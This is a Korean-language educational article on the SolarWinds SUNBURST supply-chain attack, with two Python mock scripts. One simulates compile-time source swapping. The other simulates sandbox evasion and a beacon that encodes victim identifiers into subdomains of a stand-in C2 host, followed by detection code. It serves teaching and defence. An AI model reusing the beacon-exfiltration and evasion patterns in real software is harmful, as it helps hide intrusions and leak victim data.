🦅 SolarWinds SUNBURST — 빌드 서버에 숨어든 백도어, 18,000곳의 신뢰를 무기로 미 정부를 뚫다 (2020)

1. 배경/역사 — 언제, 누가, 왜 유명한가

SUNBURST(선버스트, 별칭 Solorigate)는 2020년 12월에 드러난, IT 관리 소프트웨어 SolarWinds Orion 플랫폼의 공식 업데이트 자체에 악성 코드가 심겨 배포된 소프트웨어 공급망(Supply Chain) 공격이다. '취약점을 찌른' 것이 아니라 '정품·정상 서명된 업데이트'가 곧 공격 벡터였다는 점에서 이전 세대 악성코드와 차원이 다르다.

왜 유명한가는 한 문장으로 요약된다. "백신도, 방화벽도, 서명 검증도 모두 통과하는 업데이트를 통해, 미 재무부·상무부·국토안보부·법무부 등 연방기관과 FireEye·Microsoft 같은 보안·IT 대기업이 동시에 뚫렸다."

• 패러다임 전환: 보안 업계가 수십 년간 '신뢰의 뿌리'로 삼아온 정품 서명 소프트웨어가 곧 침투 경로가 될 수 있음을 실증했다. 그래서 이 사건은 '공급망 공격의 원형'으로 불린다.
• 탐지 난이도의 정점: 백도어는 악성 행위를 하기 전 12~14일간 잠복하고, 샌드박스·분석 도구를 스스로 탐지해 회피했다. 정적 시그니처만으로는 사실상 잡히지 않았다.
• 연쇄 파급: 2021년 미국 바이든 행정명령(EO 14028)과 SBOM(소프트웨어 자재명세서) 의무화 논의의 직접적 계기가 됐다. "당신이 쓰는 소프트웨어의 부품 목록을 아는가"라는 질문이 산업 표준이 된 분기점이다.

2. 감염·전파 경로 — 어떻게 퍼졌나

이 공격에는 '자기복제'도 '취약점 스캔'도 없다. 대신 단 하나의 신뢰 채널(정품 업데이트 서버)을 타고 관리자 권한으로 조용히 배달됐다. 그래서 웜이 아니라 공급망 백도어로 분류된다.

• 1단계 · 빌드 환경 장악: 공격자는 SolarWinds의 빌드(CI) 서버에 먼저 침투해 SUNSPOT이라는 전용 임플란트를 심었다. SUNSPOT은 빌드 프로세스를 감시하다가 'Orion' 관련 컴파일이 시작되는 바로 그 순간 소스 파일을 백도어가 든 버전으로 순간 교체하고, 컴파일이 끝나면 즉시 원본으로 되돌렸다.
• 2단계 · 정품으로 서명된 백도어 탑재: 결과물인 BusinessLayer.dll은 SolarWinds의 정품 코드서명 인증서로 정상 서명되어 나왔다. 소스 저장소에는 흔적이 남지 않았고, 산출물만 오염됐다(아래 PoC A가 이 원리 재현).
• 3단계 · 정품 업데이트로 대량 배포: 2020년 3월~6월 사이 배포된 Orion 업데이트 (예: 2019.4 HF5)를 약 18,000개 조직이 정상 업데이트로 내려받아 설치했다. 공격자는 그중 '가치 있는' 표적이 확인될 때만 다음 단계로 넘어갔다.
• 4단계 · 선별 후 침묵: 백도어는 기본 12~14일간 아무 동작도 하지 않았다. 실제 트래픽 분석 도구·샌드박스 환경을 탐지하면 스스로 잠들었고, 살아남은 소수에서만 avsvmcloud[.]com 계열 도메인으로 DNS/HTTPS 비컨을 보냈다.
• 5단계 · 2차 임플란트 투하: C2가 명령을 내리면 메모리 전용 로더 TEARDROP / Raindrop가 투입되어 Cobalt Strike를 실행, 측면 이동·자격증명 탈취로 이어졌다. 이후 클라우드에서는 Golden SAML로 연방 테넌트까지 넘어갔다(6절 참조).

3. 동작 원리 상세 분석 — 코드/구조 레벨

3-1. 왜 '정상 코드'처럼 보이는가

• 정품 DLL 위장: 백도어는 별도 실행 파일이 아니라 Orion의 정상 라이브러리 SolarWinds.Orion.Core.BusinessLayer.dll에 클래스·메서드로 합쳐져 있었다. 정상 기능과 동일한 서명·버전 정보를 가졌기에 파일 평판 검사·화이트리스트를 통과했다.
• 전용 스레드·은닉 스케줄: 악성 로직은 별도 스레드에서 실행되며, 리소스에 난독화된(인코딩된) 명령을 저장했다. 문자열 대부분이 Base64/커스텀 인코딩으로 숨겨져 정적 분석에서 의미 있는 IOC가 잘 드러나지 않았다.

3-2. C2 통신 — DNS 서브도메인에 데이터를 실어 보낸다

• 도메인 체계: 공격자는 avsvmcloud[.]com을 등록하고 <인코딩된 식별자>.appsync-api.<리전>.avsvmcloud[.]com 형태의 서브도메인을 만들었다. 피해 조직·도메인·사용자 등 정보가 서브도메인 문자열에 인코딩되어 DNS 질의만으로도 유출될 수 있었다.
• HTTP 위장: 실제 통신은 정상 트래픽처럼 보이도록 HTTP로 위장했고, 날짜 헤더 조작·프록시 자동 탐색 등 사내망 환경에 맞춰 조용히 스며들었다.
• 환경 인지(Environment Awareness): 실행 직후 AV/EDR·샌드박스 흔적을 점검하고, 특정 보안 제품이 감지되면 아무 것도 하지 않고 종료했다. 또한 감염 호스트가 '전파할 가치'가 있는지 내부적으로 판별하는 로직을 가졌다(무차별 확산을 피한 이유).

3-3. Golden SAML — 클라우드로 넘어가는 마지막 고리

• 온프레미스 AD FS(Active Directory Federation Services)의 토큰 서명 인증서를 탈취하면, 공격자는 임의의 사용자·임의의 권한으로 위조된 SAML 토큰을 스스로 만들 수 있다. 이른바 Golden SAML이다.
• 핵심은 '비밀번호 없이' 'MFA를 우회하며' 클라우드(Microsoft 365·Azure AD)에 정상 사용자로 로그인할 수 있다는 점. 미 재무부·상무부 테넌트 접근에 이 기법이 동원된 것으로 분석됐다. 공급망 백도어(온프레미스)와 클라우드 장악이 하나의 사슬로 연결된 지점이다.

구성 요소	역할
SUNSPOT	빌드 서버에 상주하며 컴파일 순간 소스 파일을 백도어 버전으로 순간 교체·원복
SUNBURST (Solorigate)	서명된 Orion DLL에 합쳐진 1차 백도어. 잠복·환경 인지·C2 비컨
TEARDROP / Raindrop	메모리 상주형 로더. Cobalt Strike 등 2차 페이로드 투하
GoldMax / Sibot	지속성·추가 통신용 보조 임플란트

4. 피해 규모/영향 — 실제 사례 수치

• 배포 규모: 악성 Orion 업데이트 설치 조직 약 18,000곳. "전 세계 3만 곳 이상이 사용" 중 상당수가 영향권에 들어간 것으로 집계됐다.
• 실제 침해: 후속 조사에서 표적형 침해가 확인된 곳은 약 100곳 미만. 즉 '18,000곳'은 노출, '100곳'은 실질 피해로 구분해 봐야 정확하다.
• 미 연방기관: 재무부(OFAC 포함), 상무부(NTIA), 국토안보부, 법무부(이메일 시스템), 국무부·에너지부(NNSA), NIH 등 다수. 일부 기관 침해는 2021년 상반기까지 이어졌다.
• 보안·IT 기업: FireEye(레드팀 침투 도구 유출 — 이 침해가 오히려 SUNBURST 발견의 실마리), Microsoft(소스 코드 일부 열람 정황), Cisco·Intel·NVIDIA 등도 악성 업데이트를 내려받은 목록에 포함됐다.
• 비용·정책 영향: 잠재 피해 추정치는 수천억 달러 규모로 논의됐고, CISA 긴급 지시(ED 21-01 / 21-02), 연방 차원의 전수 조사, 그리고 SBOM·행정명령 14028(2021)로 이어졌다.
• 대응 타임라인:
  • 2020-12-08 FireEye, 자사 레드팀 도구 탈취·국가급 공격자 침해 공개
  • 2020-12-13 SolarWinds·CISA, Orion 업데이트 백도어 공식 확인 → ED 21-01 발령
  • 2020-12-17~ Microsoft, "18,000여 고객 다운로드, 실제 침해는 극소수" 발표
  • 2021-01~03 연방기관 침해 추가 확인, 위협 행위자 코드명 UNC2452 → Nobelium / APT29로 정리
  • 2021-04-15 미 정부, SVR(러시아 대외정보국) 소행 공식 귀속 + 제재

5. PoC (개념 증명) — 교육용 모의 코드

PoC A — 빌드시점 주입(SUNSPOT 원리) 재현: "소스는 깨끗한데 산출물만 오염"

빌드 프로세스를 감시하다 컴파일 순간에만 소스를 바꿔치기하고, 끝나면 원복하는 흐름을 로컬에서 모사한다. 탐지의 열쇠는 "산출물(=DLL)과 소스로부터의 재현 빌드 결과를 대조"하는 것이다.

# poc_a_build_inject.py — 교육용 모의 (실제 악성코드 아님 / 로컬 실습 디렉터리 전용)
import os, hashlib

os.makedirs("lab/src", exist_ok=True); os.makedirs("lab/out", exist_ok=True)
SRC, OUT = "lab/src/BusinessLayer.cs", "lab/out/BusinessLayer.dll"

# 1) 깨끗한 "정품" 소스
CLEAN = "class BusinessLayer { void Handle() { Log(); } }\n"
open(SRC, "w").write(CLEAN)

def compile_it():                 # 실제로는 csc.exe 컴파일 자리
    open(OUT, "w").write("BINARY:" + open(SRC).read())
def h(p):                         # 짧은 지문(교육용)
    return hashlib.sha256(open(p, "rb").read()).hexdigest()[:16]

compile_it()
benign_hash = h(OUT)
print("[0] 정품 빌드 산출물 해시 :", benign_hash)

# 2) SUNSPOT 흉내: '컴파일이 시작되는 순간'만 백도어 버전으로 일시 교체
BACKDOORED = CLEAN.replace("Log();", "Log(); Backdoor(); /* [EDU-MOCK] */")
open(SRC, "w").write(BACKDOORED)  # <-- 순간 교체
compile_it()                      #     오염된 산출물 생성
open(SRC, "w").write(CLEAN)       # <-- 즉시 원복 → 소스 저장소엔 흔적 없음

print("[1] 빌드 후 소스 해시      :", h(SRC), "(원본과 동일:", h(SRC) == h("lab/src/BusinessLayer.cs") and open(SRC).read() == CLEAN, ")")
print("[2] 오염된 산출물 해시     :", h(OUT), "→ 정품과 다름:", h(OUT) != benign_hash)

# 3) 탐지: "소스에서 재현 빌드한 결과"와 실제 배포 산출물을 대조
expected = hashlib.sha256(("BINARY:" + CLEAN).encode()).hexdigest()[:16]
print("[탐지] 재현 빌드 해시      :", expected)
print("[탐지] 일치 여부           :", expected == h(OUT),
      "→ False 면 '소스와 다른 산출물' = 공급망 오염 의심!")

PoC B — 잠복 후 비컨(SUNBURST 원리) 재현 + 네트워크 탐지

12~14일 잠복·환경 인지·서브도메인 인코딩 비컨을 가상 C2(avsvmcloud.example)로 모사하고, 마지막에 "알려진 C2 도메인 문자열 상시 매칭"이라는 네트워크 탐지가 어떻게 잡는지 보여준다.

# poc_b_beacon_sim.py — 교육용 모의 (가상 C2 / 실제 도메인 아님)
import base64, hashlib

FAKE_C2 = "avsvmcloud.example"     # 실제 도메인 아님 (example 최상위)
SLEEP_DAYS, DECOY_AV = 14, ["edr.example"]   # 잠복 기간 / 가상 보안제품 흔적

def env_is_sandbox():
    return any(a in "lab.local-proc-list" for a in DECOY_AV)  # 로컬 모의 판별

def beacon_domain(org, host):
    # 피해 정보를 서브도메인에 인코딩해 DNS 질의만으로도 유출되게 (SUNBURST 방식 모사)
    blob = base64.b32encode(hashlib.sha256(f"{org}|{host}".encode()).digest())
    return blob.decode().lower()[:20] + f".appsync-api.us-east-2.{FAKE_C2}"

def run():
    if env_is_sandbox():
        print("[회피] 분석 환경 감지 → 아무 동작 없이 종료"); return
    for day in range(1, SLEEP_DAYS + 1):
        if day < 13:
            continue                       # 12~14일간 '침묵'
        dom = beacon_domain("lab.local", "SRV-01")
        print(f"[day {day}] 비컨: GET https://{dom}/dns/query?<encoded-victim>")
        print("           (HTTP 날짜 헤더 스푸핑 / 프록시 자동 탐색 흉내)")
        break

run()

# --- 네트워크 탐지 (방어 측) ---
KNOWN_C2 = (FAKE_C2,)
def detect(doms):
    return [d for d in doms if any(c in d for c in KNOWN_C2)]
sample = [beacon_domain("lab.local", "SRV-01")]
print("[탐지] 의심 도메인 매칭:", detect(sample))
print("       → 비컨은 '도메인 문자열 + 주기성'으로 잡는다. 12일 침묵도 DNS 로그는 남는다.")

(참고) Golden SAML 개념 요약 — 코드가 아니라 '신뢰 구조'의 문제

Golden SAML은 취약점이 아니라 설계상 신뢰의 문제다. AD FS의 토큰 서명 인증서 키를 얻으면 공격자는 임의 사용자·임의 권한의 SAML 어설션을 스스로 서명해 클라우드 IdP에 제출할 수 있다. MFA·비밀번호 없이, 로그에는 '정상 로그인'으로 남는다. 방어의 핵심은 인증서 키 보호와 비정상 어설션(서명자/조건/시간) 탐지이며, 코드 재현이 아니라 키 관리·모니터링 문제로 다루는 것이 옳다.

6. 방어 방법/교훈 — 어떻게 막았고, 무엇을 배우나

• 빌드 파이프라인을 '최고 등급 자산'으로 취급하라: SUNBURST의 출발점은 빌드 서버 장악이었다. 빌드 서버는 소스보다 강한 접근통제·전용망·2인 승인·모든 커밋/컴파일 로그 보존이 필요하다. (PoC A의 재현 빌드 대조가 산출물 무결성 검증의 최소선이다.)
• '서명됐다'는 '안전하다'가 아니다: 코드서명은 출처(제조사)를 보증할 뿐 내용의 안전을 보증하지 않는다. 공급망 도구는 평판·서명과 별개로 행위 기반(EDR)으로 봐야 한다.
• 이상 행위·비컨 탐지(네트워크): 주기적 DNS 비컨, 신규/미분류 도메인, 서브도메인 길이·엔트로피 이상을 상시 모니터링한다. 12~14일 침묵은 탐지를 늦출 뿐 로그를 지우지 못한다(PoC B).
• 최소 권한·세그멘테이션: 관리 도구가 도메인 전체에 관리자 권한으로 깔리는 관행은 재앙의 증폭기다. 계층적 관리 모델(Tiered Admin)·서비스 계정 격리로 단일 도구 장악의 파급을 줄인다.
• 클라우드 신뢰의 재점검(Golden SAML): 페더레이션 서명 키를 HSM/전용 보호로 격리하고, 비정상 SAML 어설션과 조건부 액세스 우회를 탐지한다. '온프레미스 안전 = 클라우드 안전'이 아니다.
• SBOM·가시성: "무엇을, 어떤 버전으로, 어디서 빌드했는가"를 아는 것 자체가 방어다. 이 사건 이후 SBOM/행정명령 14028이 표준으로 자리 잡았다.
• 교훈 요약:
  • 신뢰 사슬 전체가 공격면이다: 코드 한 줄이 아니라 빌드→서명→배포→운영 전 구간이 표적이다.
  • 조용함이 곧 위험 신호다: 무차별 확산 없는 표적형·저소음 공격이 국가급 위협의 특징이다.
  • 계보: 웜(Morris·Slammer·Conficker) → 랜섬웨어(WannaCry·NotPetya) → IoT(Mirai) → 공급망 백도어(SUNBURST, 2020). 확산 방식은 '무차별'에서 '정밀·신뢰 악용'으로 진화했다.

출처

• Wikipedia — 2020 United States federal government data breach — https://en.wikipedia.org/wiki/2020_United_States_federal_government_data_breach
• CISA — Emergency Directive 21-01: Mitigate SolarWinds Orion Code Compromise (2020-12-13) — https://www.cisa.gov/news-events/directives/ed-21-01-mitigate-solarwinds-orion-code-compromise
• Microsoft Security — Analyzing Solorigate, the compromised DLL file (2020-12-18) — Microsoft Security Blog — Analyzing Solorigate
• FireEye/Mandiant — Highly Evasive Attacker Leverages SolarWinds Supply Chain (SUNBURST) — Mandiant — SUNBURST Backdoor
• CISA — Alert AA20-352A: Advanced Persistent Threat Compromise of Government Agencies (SUNBURST & TEARDROP) — https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-352a
• MITRE ATT&CK — SUNBURST (S0559) / Supply Chain Compromise T1195.002 / Forge Web Credentials: SAML T1606.002 — https://attack.mitre.org/software/S0559/
• NSA/CISA/FBI/ODNI — Joint Statement attributing the SolarWinds compromise to the SVR (2021-04-15) — https://www.cisa.gov/news-events/news/cisa-fbi-nsa-and-odni-release-joint-statement-solarwinds-compromise

함께 읽기: 🪱 Conficker (2008) — 대규모 감염과 국제 공조 · 🦠 Mirai (2016) — 기본 비밀번호로 IoT를 무기화 · ☠️ NotPetya (2017) — 공급망(M.E.Doc)에서 시작된 와이퍼